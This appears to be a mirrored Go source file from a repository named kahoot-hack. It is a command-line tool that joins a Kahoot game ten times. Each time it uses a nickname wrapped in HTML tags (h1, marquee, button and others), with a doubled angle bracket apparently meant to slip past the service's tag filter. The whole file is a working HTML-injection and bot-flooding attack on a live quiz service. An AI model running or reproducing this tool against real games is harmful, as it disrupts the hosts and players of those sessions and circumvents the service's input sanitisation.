Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
unixpickle
GitHub Repository: unixpickle/kahoot-hack
Path: blob/master/kahoot-html/main.go
10110 views
1
package main
2
3
import (
4
"fmt"
5
"os"
6
"os/signal"
7
"syscall"
8
9
"github.com/unixpickle/kahoot-hack/kahoot"
10
)
11
12
func main() {
13
if len(os.Args) != 3 {
14
fmt.Fprintln(os.Stderr, "Usage: html <game pin> <nickname>")
15
os.Exit(1)
16
}
17
18
gamePin := os.Args[1]
19
nickname := os.Args[2]
20
21
for _, prefix := range []string{"h1", "u", "h2", "marquee", "button",
22
"input", "pre", "textarea", "b", "i"} {
23
if conn, err := kahoot.NewConn(gamePin); err != nil {
24
fmt.Fprintln(os.Stderr, "failed to connect:", err)
25
os.Exit(1)
26
} else {
27
defer conn.GracefulClose()
28
conn.Login("<<a>" + prefix + ">" + nickname)
29
}
30
}
31
32
fmt.Println("Kill this process to deauthenticate.")
33
sigChan := make(chan os.Signal, 1)
34
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
35
<-sigChan
36
}
37
38